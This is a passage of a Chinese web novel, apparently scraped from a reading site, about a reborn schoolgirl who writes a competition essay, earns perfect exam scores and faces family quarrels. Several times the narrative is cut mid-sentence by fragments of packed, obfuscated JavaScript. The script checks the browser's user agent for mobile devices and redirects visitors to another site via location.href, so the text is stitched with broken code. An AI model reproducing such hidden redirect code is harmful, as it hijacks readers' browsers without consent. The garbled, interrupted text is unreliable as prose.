做完题，她轻轻呼了口气，抬头看挂在教室最前边的时钟，还好，现在才过去三十分钟，时间很足够。 天气冷，她的手有点冰，做题的时候感觉手指僵硬。为了不影响后边写作文，她一边看着作文题，一边不时地搓手，让手指的血液能保持循环。 不同于上次比较多偏童话、适合拓展想象的题目，这次的三个可选的作文题都是与现实时事相关的。 比如作文题一“我国加入世贸，加快对外发展，经济飞速增长，这些对你有什么影响，你的身边有什么变化？”作文题二则是说到了今年国家首城申奥成功，作为小学生现在或者未来可以为首城成功举办奥运会做些什么，以“我为奥运添砖加瓦”为主题进行创作；第三个作文题没有具体的时事，只是说进入了新世纪，国家各方面都在建设发展，要求以“我为祖国建言献策”为主题写作文。 筱芫看到第三个作文题时，曾有点犹豫，想围绕上辈子知道的某些国家措施来写，但重生后依旧胆子很小的她，最后还是觉得不太行，转而在前两个题目中犹豫。 思来想去，她觉得以自己目前的经历，根本没有办法写出什么变化和对自己的影响，毕竟现在十八线小县城还有些封闭，并没有受到国家进入世贸后的影响，本地的产业也没遭受到外来商品冲击。 所以最后她写的是第二个题目。 这个有点像对自己未来的展望设想，首城奥运那年筱芫她也是从头一直关注到尾，后来兴起的网络文学也有不少以奥运为主题的创作，她也看了好几本。 确定好要写的题目和主题，筱芫大脑兴奋，很快有了灵感，甚至没有列大纲，就在草稿纸上顺利写好了初稿，一点都没磕巴。再一看时间，不错，还有一个半钟头，可以慢慢修完再誊写到作文试题的格子稿纸上。 写好的人已经陆陆续续上去交卷，经过她身边的时候还带起一阵风，但是筱芫很平静，一点也不着急地慢慢打磨自己的作文，确定没有任何问题了，才开始一字一句填满试题的格子。 在监考老师提醒时间还有30分钟的时候，她正好写完，放下笔，慢慢站起身上去交卷。 不管最后结果如何，她确信自己已经尽力做到了自己最好。筱芫这么想着，一出教室，看到等着她的老师和何曼，忍不住笑着加快脚步。 20. 期末考试 第二十章期末考试 “啊，可恶！为什么又要考试了！不是才期中考没多久吗？！”李琪趴在桌子上，捂着脑袋痛苦地哀嚎道，“我还没开始复习！明天必须要好好看书了！” 筱芫摸摸她的头：“你上周就已经说过一模一样的话了，明日复明日，明日何其多。快点起来吧，你现在开始看，肯定能复习好。” 一边的文悦忍不住笑了：“她就是这样，你劝也没用的。” “哼，她就是装出来骗你的！每次考试前都这样嚎，搞得好像会考不及格似的。结果考试成绩出来，她名次没有一次掉出年纪前十的。太让人嫉妒了！”陈欢表情恶狠狠地吐槽道。 李琪连连摆手，语气十分气人：“啊，那都是运气，刚刚好试卷考得都是我复习过的。这次不行啊，老班都说了这次考试会比期中考难很多！” 她这话前半截果不其然引来了陈欢还有文悦的谴责“围攻”，同时还得到周围所有同学的怒目而视。 李琪说的期末考试难度会提高这事，是老班在早上上班会课的时候说的，按照老班一贯的态度，她说难度会提高，那就一定会比期中考难很多，班上的同学因此最近都特别认真地复习，连平时贪玩总是不做作业的几个男生，也在妄图临时抱佛脚。 作文国赛已经过去一个多星期，筱芫从老师那里得知要到年后才出比赛结果后，就不再想了，把心思都收回，放到接下来的期末考上。 三年级的课程虽然还没有太复杂的内容，可要是她一个大意翻车没考好，就太丢重生人员的脸了。再说作文比赛含金量没有数学类竞赛的高，学校那边估计还在对她进行考察。 所以该复习还是得复习，这次期末考筱芫她必须拿到第一名，才能真正打消学校领导的质疑和部分老师的疑虑。好在她一直都有保持每天至少复习两个小时的习惯，练习题也每天做了一定题量保持手感。 不管如何，多复习几次多做些练习题总归是没错的。 看着眼前打闹嬉笑的李琪陈欢她们，筱芫也跟着笑。重生虽然没让她变得跟小说主角一样牛b哄哄，也没让她胆子变大；但是重生前的人生经历，多少让她学会了不去在意计较很多事，比如维持人际关系方面。 简单来说，就是变佛了。有朋友很好，没有也没关系，不主动索求友谊，也不拒绝。不过好像因为这样的心态，她这辈子和李琪她们、还有之前和小同桌相处起来，都比上辈子要融洽开心得多。 “呼！果然还是筱芫最好，不会跟你们一样。”李琪好不容易从陈欢文悦的“围殴”中逃出来，就抓着筱芫的胳膊语气十分郑重道，“师父！快救救徒儿吧！” 筱芫瞬间回神，憋着笑配合地问她：“好徒弟，为师要怎么救你啊？” “徒弟不求别的，只要师父赐我复习笔记、指引迷津就好！”李琪似模似样地学着电视剧里抱拳行礼，配上搞怪的表情和十几年后网上的颜艺表情包有得一比，顿时让筱芫、陈欢几人憋不住笑出了声。 “哈哈哈哈哈”“你是八戒还是沙僧啊？” 李琪很不服气：“我明明是属猴的，应该是齐天大圣孙悟空才对！” “齐天大圣那么聪明厉害，每次都是他救师父，哪需要师父救他啊？”陈欢一本正经地和她解释。 筱芫看着她们就这个话题争辩了五分钟，直到上课铃响才不情愿地暂时“休战”，觉得十分好笑，想着她们是不是都忘了原本是在说期末考试的事。 果然，等她下节课把整理好的三年级复习笔记拿给李琪时—— “这什么……啊！我就说我忘了啥，太谢谢你啦筱芫！”李琪猛地拍了下自己的脑袋，高兴地接过去，先翻开了英语的笔记，就看到密密麻麻的单词、语法，有些显然不是这一学期的。 站在桌边的文悦也看到了，有些好奇道：“筱芫，这是包括了下学期知识点的笔记吗？” 筱芫点点头：“是啊，整理笔记的时候，我觉得一个年级的知识点梳理在一起会比较方便，所以就放在一块了。我做了区分的，你要是不想抄那么多，有红笔标记部分别抄就行。” 文悦和陈欢不约而同地对她竖起大拇指：“你也太厉害了！” 他们都知道筱芫平时一直在自习后边乃至高年级的课程，但还是第一次这么直观地感受到她自习的进度。 “没事没事，是三年级全年的复习笔记更好！”李琪美滋滋地抱笔记本收起来，期盼地看向筱芫，“我们要是能一直是同桌就好了。那样就算到了六年级，我也可以蹭你的笔记复习，肯定每次考试都不用担心！你一定不会拒绝我这个请求吧？” 筱芫笑眯眯地点点头，又摇摇头：“我是没问题啦，但是能不能同班同桌也不是我们说了算啊。” “就是！筱芫我们别理她，当时候真的同班，你和我当同桌吧！我把我的小零食都给你！”陈欢在一边拼命附和，试图挖墙脚。 文悦温温柔柔地将筱芫挡在身后，义正言辞道：“你们因为筱芫的复习笔记而想和她同桌是不对的，而且怎么能只给小零食呢？” 她说着转过头对筱芫，“她们都太不真诚了，不像我，我只是因为喜欢你才想和你做同桌，还是选我吧。” 本来还互不相让的李琪和陈欢听到这话，立刻转过头来一起鄙视文悦：“切，你说得好听！还不是跟我们一样，哼。” 作为被“争抢”的主角，筱芫差点表演欲上头，学着港剧里的女主角对她们说“你们不要再吵啦”，不过最后因为觉得太傻，她还是忍住了。 她们这节课是本学期最后一节体育课，她们已经完成了体育期末考试，跟老师说了回班里自习，所以才能在这里这么悠哉地嬉笑玩闹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628150|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还是站在窗边，正无奈笑着的筱芫忽然瞥到有老师正从楼梯口那边走过来，连忙小声地提醒了还在笑闹的李琪几人。 几乎是十秒之内，原本还在嘻嘻哈哈斗嘴的几人，已经十分乖巧安分地坐在了各自的座位上看书做作业做题，俨然一派好学生的模样。经过的老师是隔壁班的班主任，也是他们班的数学老师，在窗边往教室里看了好一会，才仿若满意地离开。 筱芫和李琪回过头，文悦陈欢也刚好抬头，几人目光一对上，看着彼此的装模作样，忍不住都笑了；还要克制着不敢笑太大声，怕老师又走回来，结果憋得脸都红了。 笑完了，四人开始正经地复习，筱芫的笔记被她们三人一人一本瓜分了去抄，而她自己则是从文悦那里看到了一本没做过的练习题，所以和文悦借了看一看。 …… 几天的时间眨眼就过去了，很快就到了期末考的第一天早上。 按照学校惯例，早上考的是语文和数学，下午考英语。 试卷一发下来，筱芫只看默写题和阅读题，就知道老班说这次考试会比期中考难的话没掺半点吓他们的成分。 默写题除了考两句简单的古诗，第一次出现了考课文默写。而阅读题更是第一次出现了一整段的文言文阅读理解，虽然是在筱芫看来比较简单好懂的那种文言文选段，但对于普通的三年级学生来说，还是挺有难度的。如果筱芫她没有重生，现在看到题目估计会想哭了。 所以，不出意料的，不少学生拿到试卷，一看题目就发出了“啊——”的声音，教室里顿时一阵嘈杂。 监考老师在讲台上轻轻拍了下桌子：“安静，考试时不许说话，不然当做作弊处理。五分钟后铃声响起时再开始作答，现在不要动笔。” 在开考前的五分钟，筱芫心情平静地把试卷从头到尾看了一遍。反复复习课本、做练习题是很有效果的，她没有遇到能难住她的题目。倒是最后的作文题是比较常规的题目——以“第一次_____”为题写作，要写出彩拿满分没那么容易。 “叮铃铃”开考铃声响起，她拿起笔开始答题。 早在看试卷的时候，筱芫就在心里边看边作答，所以真的动笔时是几乎是不假思索的。考试开始不到三十分钟，她已经完成了除作文外的所有题目，包括比较有难度的文言文。 这次的作文更适合叙事文，有生活体验更好写，所以她想了一会自己上辈子还有重生后，有什么值得纪念的第一次做的事。 大概五分钟后，她有了头绪，开始打草稿。 四十分钟后，筱芫放下笔，盖上笔盖，回过头检查试卷，直到考试结束的铃声响起。 语文的试卷难度提高了，数学自然也没例外。拿到试卷时，筱芫往后一翻，竟然还在计算题和解答题里，看到了三道有点像三年级奥数题集里的题目。 21. 寒假开始啦 第二十一章出成绩 奥数题一般不会出现在平常的考试，因为会有点超纲。她觉得有点惊讶，但仔细一看，就发现这三道题只有最后那道解答题有些超纲，另外两道计算题是奥数题的简单版，计算量没有那么大。 整张试卷大致看了一遍，对于哪些题可能会需要稍微花费多点时间，筱芫已经心中有数。 数学一直是她的薄弱学科，所以重生后她花在数学上的时间格外多，努力将基础打牢，每天都刷一定的题量，就为了不重蹈覆辙。 这样做的效果是很显著的，如今她做试卷的时候，完全不需要迟疑，一看题目，答案就已经在脑海里浮现出来了。哪怕是那些她觉得会稍微花费多点时间的题，以及最后的奥数题，都没有成为她做完试卷的拦路虎，轻松搞定。 最后筱芫做完数学试卷并检查好的时间，比语文还要短，更关键的是，她心里很确定自己这张卷子可以拿到满分。 这种十足自信的底气，让她心底隐隐有种兴奋满足，以及对未来的希望——只要好好努力，以后到了初中、高中，她也是可以学好数学，考个理想成绩的吧？ 筱芫没有什么太大的奢求，也对自己的数学天分、数学方面的思维能力很有数，所以对数学的期望目标只在高考；而对于竞赛，小学或许她还可以试试，初高中暂时她是不敢想的。 下午的英语考试和语文数学一样，都提高了难度，尤其是听力部分。里边有一段对话很长，信息比较杂乱，再加上广播有杂音，分辨重要信息单词不太容易。 也可能是听力练习筱芫做得还比较少，这次英语试卷的听力，她自我感觉也不是太好，只能说是尽力把能听到确定的都做好了。 其他部分还好，平时她练习都做过很多类似的，没被难住；也就最后的作文，她稍微在题目要求上犹豫了一会，最后还是照着最初的理解去写了。如果没理解错主题，应该不会被扣分。 英语考试结束后，筱芫背着书包回教室，听老班交代什么时候回校领成绩单以及领取寒假作业。 “啊，这次试卷也太难了吧？英语听力我全程晕乎乎的，都没听明白！” “就是啊，我数学差点没做完，最后一题都不知道对不对。” “你数学最后一题做出来了？！我完全不会，就写了个解。” “语文也好难，阅读里边那句翻译……” 一进教室，筱芫就听到了大家跟同桌邻桌吐槽这次期末考的试卷，哀嚎声此起彼伏。 老班还没来，所以大家没有规规矩矩地坐在自己的位置，陈欢和文悦也跑到了筱芫她们这里。 李琪一看到她就开心地连连挥手，让她快点：“筱芫！一会结束咱们去喝水果汁吧！顺便看看好看的发卡，好不好？” “好啊，我正想买个发卡夹住额前的碎发。”筱芫重生回来后还没剪过头发，现在已经长到披肩的长度了，额前的碎发也有点点扎眼。 “唉，”陈欢长叹了一口气，“你们一点都不担心考试成绩还有作业吗？我一想到待会要发一堆作业，就好头疼！” 文悦想了想，中肯地说：“我们还算好了，也就是三本寒假作业，最多每科老师再布置一点。我堂姐六年级，表哥初二，他们每次放假，作业都能塞满一整个书包，除了三本寒假作业，还有一堆试卷练习题。那才是真的多。” 筱芫赞同，上辈子她几次写作业写到哭，哭完还得继续写，当然，现在想想，作业是多，但做不完作业也有她自己的原因——拖延犯懒，总是到假期快结束、时间没多少的时候才想起做作业。 “每天都做一点，应该还好，不用太担心啦。”她试着提议，“要不然我们可以约时间出来一起做作业？或者去谁家里做作业也行。然后到时候，我们每天做好作业还能出去走走玩玩。” 她这个建议很快得到了李琪等人的热烈响应：“好啊好啊，一起做作业肯定能做得更快！” “那去哪里做作业呢？学校吗？学校不知道到时候能不能进来。书店好像也不行。”文悦一边提议一边摇摇头，“不然去我家怎么样？我家白天没大人在，就我和我弟弟。” 李琪猛地摇头：“不要不要，你弟弟总是爱捣乱，有他在，咱们没办法好好写作业的。我家也不适合，我弟虽然在上幼儿园不会在家，但是我哥在，他放假总是喊他一大堆的同学到家里，太吵了。” 筱芫思考了下自己家，犹豫着说道：“那要不去我家？我大姐晚两天就放假，二哥放假白天都是去同学家玩的，我细弟还在上幼儿园。这个星期应该白天就我一个人在家。” “我家也可以！”陈欢举手，“我们可以去我家的三楼，把门关上就不用担心被吵到了。” 于是，根据大家的情况，讨论一番后，几人最后决定先去筱芫家做作业，后边再考虑要不要换到陈欢家。 她们刚讨论好，老班就出现在了门口。 说好了放学接着说，陈欢和文悦赶忙回到自己的座位。 老班是个不喜欢拖泥带水的人，一上来就直接说事：“下周六回学校领成绩单、学生手册和给家长一封信，如果到时候有谁来不了，记得提前让你们家长打电话给老师。老师的电话是134-xxx-xxxxx你们记一下，以后有事也可以打这个电话。” “记好了吗？记好了，接下来就发实践报告表和寒假作业，寒假作业语文数学英语各一本，下学期开学的时候交。然后老师再给你们布置一点点作业，很简单的，就十五篇作文，两天写一篇，寒假没结束就能写完了。” 老班说得轻描淡写，丝毫没准备理会大家的小声抗议，甚至还接着道：“除了完成作业，大家不要忘了假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628151|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期实践，假期实践报告表也是开学后要交的。” “啊——”众人怏怏不乐地拉长了声音，假期实践倒没什么，不过是去做义务劳动，平时每学期他们也都是要轮着去做的；大家只是不想写实践报告罢了。 可他们还没嚎完，数学老师和英语老师也紧跟着来布置寒假作业了。每个老师的说辞都是那么相似—— “就六张试卷，一百多道题而已，老师都帮你们安排好了，你们每天做十道题就可以，就算过年那几天不做，也肯定能在开学前完成。” “老师已经没有发很多试卷让你们做了。所以勾选的课文，你们每天一定要都背一篇。还有这十份英语周报上勾选的……每天做一张周报，抄写一单元的单词，十天就可以做完了。很简单很容易是不是？” 英语老师是一位很年轻的女老师，平时也温温柔柔地很好说话，所以听她这么问，大家顿时一片喧闹，试图让她手下留情、改变主意：“才不是啊，老师，太多了！我们还有数学语文的作业，要做不完了！” 可惜的是，到最后老师们都没有改少作业的意思。对此，筱芫一点都不意外，毕竟那么多年学生生涯，见过那么多次相似的场景，就没有一次老师改了的。 可是李琪和陈欢显然觉得十分遗憾，一道去买水果汁喝、逛文具店看发卡的时候都还在念叨：“是不是因为老班刚才就在旁边看着？不然英语老师应该会答应少布置点作业的，她那么好说话。” “我觉得你想多了。英语老师虽然好说话，但是在作业和考试上，她一直都很严格的。”筱芫挑来挑去，还是选择了一开始看中的那个发卡，边去结账边直白地说道。 文悦也赞成：“没错，老师们心里都是有数的。不过咱们都说好了明天开始一起做作业啦，每天都做一些，很快就能做完的。” 买好发卡，她们又到筱芫推荐的小书店待了一会，考完试大家都不想看教辅书，所以不约而同地都找了杂志报纸看。筱芫选的是她重生前就很喜欢看的《N都市报》，顺便浏览看有没有她需要的信息。 四人就这么消磨着时间，到了平时放学的时间，才道别各自回家。 之后的几天，也都是差不多这样，她们在筱芫家做一早上的作业，下午就买一点小吃分着吃，一起去逛书店、文具店。 等到出期末成绩那天，筱芫她们成果显著，已经完成了一半的寒假作业。李琪对此十分高兴，到学校的时候就忍不住跟后桌炫耀了起来。 筱芫往教室外一望，就看到了老班抱着一摞学生手册走了过来，连忙提醒李琪：“老班来了。” 没过一会，老班站在讲台上，严肃的表情让人看不出她是高兴还是不高兴，众人立刻安静下来。 “这次，我们班的成绩还不错，平均分年级第一。年级第一也在我们班。但是——” 22. 努力的回报 第二十二章开心 筱芫跟其他同学一样，紧紧地盯着老班手里的成绩表；虽然她自我感觉挺不错的，但是老班严肃的神情，总让人觉得有点不安。 “但是年纪最低分也在我们班！而且语文竟然有两位同学阅读题完全空着没做！明明是只要试着写一点都能拿分的题，为什么居然能空着？！”老班越说脸色就越黑，教室里原本还有窸窸窣窣的声响，这会安静得仿若针掉在地上都能听见。 老班皱着眉看了一会成绩单，似乎看到什么，才渐渐松开眉头，继续说道： “是哪几个同学，我在这就不说了，等会你们自觉留下来，到办公室找我。现在先发成绩单和学生手册、给家长一封信，念到名字的同学上来拿。领完成绩单还不能离开，等听校长广播讲话，年级排名前十、三好生、年纪进步前十等会也会公布，这次我们班排名年级前十的有四位同学，还算不错，但不能骄傲自满，要再接再厉。” 不知道是不是筱芫多想、自以为是了，她感觉老班说最后一句话的时候，好像看了她一眼；顿时心跳加快了许多。 “褚筱芫，三门都是满分，不错，保持好，下次继续加油！”老班第一个就叫了她的名字。 筱芫面上努力保持着平静站起来走向讲台，但心底的小人却已经激动地蹦跶了好几下，各种打滚。通过努力拿到自己想要的结果，这种感觉太好了；从老班手里接过成绩单和学习手册的时候，她忍不住咧嘴笑了：“谢谢老师，我会继续加油的！” “啪啪啪啪啪啪” 她转身要回座位的时候，李琪和陈欢文悦她们带头鼓起了掌，其他同学也跟着鼓掌。 筱芫顿时有点不好意思，红着脸飞快钻进在角落的座位，然后看着成绩单上明晃晃的几个一百分，内心无比满足，又充满了继续努力学习的动力。 很快，文悦、李琪和陈欢也都拿到了各自的成绩单、学生手册，文悦是在筱芫后面上去领的，按照老班发成绩单的顺序，班里的全级前十，她们俩肯定是其中之二。 等最后一个领到成绩单的同学回到座位，广播就响了。 校长在说了一些每学期都讲的官方话后，又对这一学期全校各年级在学习上和参加校外活动、比赛上的情况进行总结评价，然后展望一番未来、勉励所有学生好好学习天天向上后，又祝大家新年快乐，才把广播话筒交给教导主任。 教导主任先是对学校各年级的纪律情况进行总结、批评，然后才开始宣布年级前十、三好生以及年纪进步前十的名单。 一年级、二年级，接下来就是三年级了，班上的同学几乎都把目光投向了筱芫。李琪更是抓着她的手，小声地说着“第一名，褚筱芫！” 她也觉得自己应该是第一名，就是不知道会不会有人和她一样分数，并列第一；想到上辈子唯一一次考年级第二还出了乌龙，她捏紧不知道是因为兴奋还是紧张而汗湿的手。 “第一名，褚筱芫，301班，语文100，数学100，英语100，总分300分满分！第二名……”听到广播里念到的的的确确是自己的名字，而且只有她一个人得了满分，筱芫不自觉弯唇，忍了忍还是没忍住，捂着嘴开心地笑了出来。 李琪对她竖起大拇指，高兴的样子跟是自己得了第一名一样。 没过多久，广播里也出现了李琪的名字，是年纪进步前十的第一名，因为她从全级第五十名一下子到了全级第十一名，差一点就能进前十了；而其他人的进步大都是从两百多名甚至倒数，进步到一百多名。 筱芫也笑眯眯地对她竖起大拇指，用口型说道：“真棒！” 广播最后，教导主任让各班的学习委员去领本班同学的排名奖励和进步奖励。他们班的学习委员正好是文悦。 文悦这次是全级第四名，她语文也是满分，就是数学和英语扣分比较多一点。她特意从前门出去领奖励，经过筱芫和李琪面前对她俩竖大拇指。 因为觉得没什么事了，班上的同学都在各自说话嬉笑，老班也没有说什么，只是走到筱芫面前，让她过会拿了学校奖励后，到办公室去一趟，领她考到年级第一的奖金，还有顺便取回这学期的学杂费和借读费。 ！！ 这是筱芫得到年级第一后最关心的事，本想着可能要晚点自己去问，甚至下学期才能拿到。没想到现在就能拿到了！ 她连忙点头应下老班的话，心里的小人欢快地旋转跳跃，稍微平静下开心的情绪，就看到文悦领好东西回来了，而且似乎有些抱不动；她赶紧拉着李琪跑出去帮忙。 筱芫年级第一得到的奖品除了奖状外，就是一个文具盒、两盒双色水性笔和三本特别厚、看着很精美的硬壳笔记本，厚度重度有点像是板砖那种，还带了小锁钥匙。 文悦第四名的奖品是一盒蓝色水性笔和两本普通厚度的硬壳笔记本，没有带小锁钥匙的。在下边的名次以及进步奖之类的就都只是普通的A3软皮笔记本了。 所有奖励加起来分量很重，难怪文悦抱到一半会抱不动。筱芫今天来学校没背书包，看着十分有分量的笔记本，她有点沉默了。 看来是得让二哥帮忙才行。不过，刚刚听到广播里，二哥好像也是年级前十和三好学生来着，不知道能不能拿动这么多。 “你这也太看不起你哥我了吧？就这么多东西，我还能搬不动？！笑话！”二哥面对她的担心，很不满地反驳道。 为了证明自己的话，二哥把她那几本最重的硬壳笔记本、文具盒水性笔等都抢着抱到手上，只留一本软皮笔记本、学生手册之类的给她自己拿，然后就快步走出校门。 筱芫把从老班那拿到的装着奖金、书杂费借读费的信封小心地在身上藏好，拿着剩下的东西赶紧追上二哥，并试图让他多把一些东西给自己拿。 不过直到最后回到家，二哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628152|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没答应，结果回到家一放下东西，他就猛甩手臂，连声喊手酸。 “所以我都说了嘛，分多点给我拿。你又不肯听。”筱芫无奈地吐槽，走到二哥身边道“哥，要不我帮你锤一下手臂？看看会不会好点。” “好啊，快，锤这！”他倒是半点没打算客气，指着自己的右手手臂，还熟练地代入被服务的上帝角色，指使筱芫先去倒杯水给他。 筱芫哼了一下，懒得和他计较，倒水给他喝之后，又帮他锤了一下手臂，感觉二哥已经好多了，就借着自己也要喝水停下了动作。 又过了一会儿，大姐带着几个关系要好的同学来家里了，她们一看筱芫，就惊奇又热情地围了过来： “希桦，这就是你超级聪明的妹妹吗？长得真可爱！”“妹妹你好啊，我是你姐最好的朋友，我叫XX……”“走开走开，你凑太近了，别吓到我们妹妹。” 面对她们莫名的热情，筱芫有点不明所以，上辈子大姐的这些同学也是经常到家里玩的，她并不陌生，可是那时候她们也没这么热情啊？ 接收到她求助且疑惑的目光，褚希桦不好意思地转开了下视线，晃了晃手上的奖状奖品： “咳咳，可能是她们之前一直听我说你有多聪明，连初中的知识都能看懂，还帮我列了复习提纲和重点；这次我考得期中考好太多了，她们就很好奇你，说要来看看天才小孩是什么样的。” 天才小孩？？筱芫觉得她就算厚着脸皮，也没办法心安理得地接受这个称呼。自家人知自家事，她很清楚自己压根不是什么天才儿童，不过是幸运地得到重生的机会，加上还有图书馆空间让她比其他人多出更多学习的时间。 “是啊是啊，妹妹你别怕哈，我们只是好奇、想来看看你。”大姐的脸有点圆圆的一个同学笑着开口附和道。 筱芫记得她，她是大姐上学时期，关系一直很好的莹雪姐，笑着的时候两个酒窝很明显，配上苹果脸，给人感觉特别亲切。 “我没有大姐说得那么厉害啦，只是喜欢看书而已。”筱芫红着脸解释道，拉着大姐让她带人进房间坐，“姐姐你们进屋坐着玩吧，我要去上厕所。” 说完，她就飞快地跑去小花园那边躲起来了。没办法，大姐的同学们太热情了，她总觉得再不躲，自己的脸可能会有点“危险”。 筱芫刚跑开，身后就爆发了一阵笑闹声：“肯定是你们吓到妹妹了”“我都说不能……” 到了中午，老爸老妈都回来了，筱芫第一时间把身上的信封拿出来，交给他们：“爸，妈，我考了第一名，这是奖金还有退回来的学杂费借读费。下学期我也不用交学杂费了。” “好，好好！把奖状好好收起来，等以后咱们自己有房子了，全都贴到墙上去！”褚父闻言，脸上的疲惫一扫而空，十分高兴地笑着接过信封和奖状，盯着奖状上的第一名看了又看，才不舍地递给褚母看，接着打开了信封。 23. 矛盾显露 第二十三章不愉快的事 褚母显然也特别高兴，但比褚父表现得要含蓄一点，只是问她有没有什么想吃的：“妈下午下工了去买。” 褚维江见状不乐意了：“爸、妈，你们不能偏心啊，我也考了年级前十啊！也买我想吃的菜吧！” 筱芫也赶紧帮一边似乎想说又不好意思开口的大姐说：“还有大姐！大姐这次考了全级第五呢！大姐的同学刚才来过了，都在说大姐进步特别特别大！” “爸，妈，这是我的成绩单和奖状。”褚希桦听到妹妹都帮自己说了，鼓起勇气把自己的奖状成绩单也拿了出来，目光中隐含期盼。 褚父更高兴了：“好！大妹和大弟都不错！咱们家虽然没有你叔伯他们家有钱，但是他们的孩子也没有你们几姐弟会读书。我出去说话都有面子！” 他说着转头和褚母说，“咱们家今天买多点菜，我今晚要喝点酒，好好庆祝一下！” 褚母拍拍大女儿的肩膀，欣慰地笑着赞同道：“大妹有进步，你们几姐弟争气，比做什么都让爸妈开心。我下午早点去买菜，再买点你们姐弟喜欢吃的水果。” 筱芫看到被爸妈夸奖的时候，大姐抿嘴笑，但眼睛却有一瞬间闪过水光，便想到了上辈子，大姐曾说她在家里没有存在感，成绩不好性格又安静，每天作业都做不完了，还要帮忙做家务，结果老爸老妈也从来没夸过她。 这辈子已经不一样了呢。她心里的满足感又增多了一分。 晚上，老妈果然买了很多菜，有鱼有肉、还炖了汤；摆满了一桌。细弟一上桌就大声惊叹有大餐，问他们是不是过年了，还想要去换新衣服。 筱芫笑着轻轻敲了一下他的头：“离过年还有半个月呢，换什么新衣服！” “你哥哥姐姐考试都得了年级前十，所以今晚庆祝一下。你以后上学了也要认真学习，考好了也可以做你喜欢吃的菜。”老妈趁机激励细弟。 看到细弟眼睛一亮，开始吵着要提前上学，筱芫想到上辈子细弟的遗憾，灵机一动：“你要是为了吃好吃的，想提前上学的话，还是算了吧。你说不定坚持没两天就又吵着不去上学了。” “我才不会！”细弟果然最受不了激将法，立刻嚷嚷着反驳道。 筱芫装出不相信的样子：“你要是真的想提前上小学，那等你幼儿园放假，我帮你预习一下小学一年级的课。如果你学了之后还是想去上学，我就相信你了！” 于是，就这样，在全家人的见证下，细弟答应了寒假不出去玩，在家学习，甚至还签了保证书。 细弟在数学还有计算机方面很有天分，就是上辈子其他学科，尤其是语文英语学得不好，经常不及格，被老爸打骂过几次后，越来越厌恶学习，所以中学毕业就没再读书了，直接出来工作。 这辈子先让他打好学习基础，后边学起来没那么难了，也许能引起良性循环，说不定细弟会继续学业，往数学或者计算机发展呢。 不过现在也只是筱芫的一个小想法，能不能真的达成自己想的发展方向，还要看以后细弟自己。 吃完晚饭，褚父难得没有吃完饭就离桌，而是看着他们几姐弟，说他准备买辆摩托车，并给家里安装电话的打算： “咱们家买不起房和小车，买辆摩托车就好，要回老家也方便。有了摩托车，我还能去找那些工厂老板拉拉关系。装电话主要是为了你们几姐弟，你们现在都大了，上学总有需要联系老师同学的时候，有个电话也方便一点。” 上辈子家里装电话、买摩托车的时间好像也差不多是这个时候，筱芫还记得当时跟着老妈记老爸的手机号码。老爸的第一部手机是亲戚用旧了给的，后来家里经济宽裕后就换了，后边更是几年就换一部手机；但手机号一直没换过，二十年后都还在用。 对于家里大项的花费支出，他们几姐弟现在还是没什么发言权的，老爸拿出来说多半就是已经决定好了。 不过摩托车是交通工具，电话是联系工具，都很必备；就算老爸老妈真的先问他们意见，筱芫他们几姐弟肯定也会赞成。 说完这事，他又说起了爷爷奶奶那边，筱芫眼见着老妈脸色一下变黑了，原本饭桌上开心愉悦的气氛也一瞬间消失无踪。 “再怎么样，他们也是我爷娘，是几姐弟的爷爷奶奶，都要过年了，总不能一点表示都没有。”褚父的语气很坚定，但看褚母脸色难看，还是稍微退了一步，“不然就让几个孩子把东西拿去，送到了就回来？你也理解一下我的处境，我好歹身为人子，总不能让人说我不孝吧？” 褚母还没说话，褚维江就先跳出来反驳了褚父的话： “爸，话不是这么说的。奶奶有多不待见不喜欢妈，是邻里街坊都看见过的。骂得多难听就不说了，那几次大过年的她还拿着刀过来，一边骂一边要砍我妈。 不止妈，就是我们几姐弟，她也都不喜欢，每次见面都摆臭脸，其他堂兄弟能得她的压岁钱，我们去不被骂就不错了。就这样，你还硬要我妈还有我们几姐弟凑到她跟前去，为啥啊？凭啥啊？” 褚父听到大儿子反驳自己，当即沉下脸怒道：“她是你们的奶奶！你这是什么语气？大人说话，你一个小孩插什么嘴？！” 原本还想让几个孩子进屋，别听这些糟心事的褚母闻言也憋不住火发飙了： “你对儿子发什么脾气？江儿是在替我说话，他说的哪里有错？！你妈难道不是那么欺负我的？以前还没分开住的时候，一大家子的衣服全让我一个人洗，刚生了孩子就赶我下地洗衣服做饭，连个鸡蛋都不给我吃；好不容易分开住了，还因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 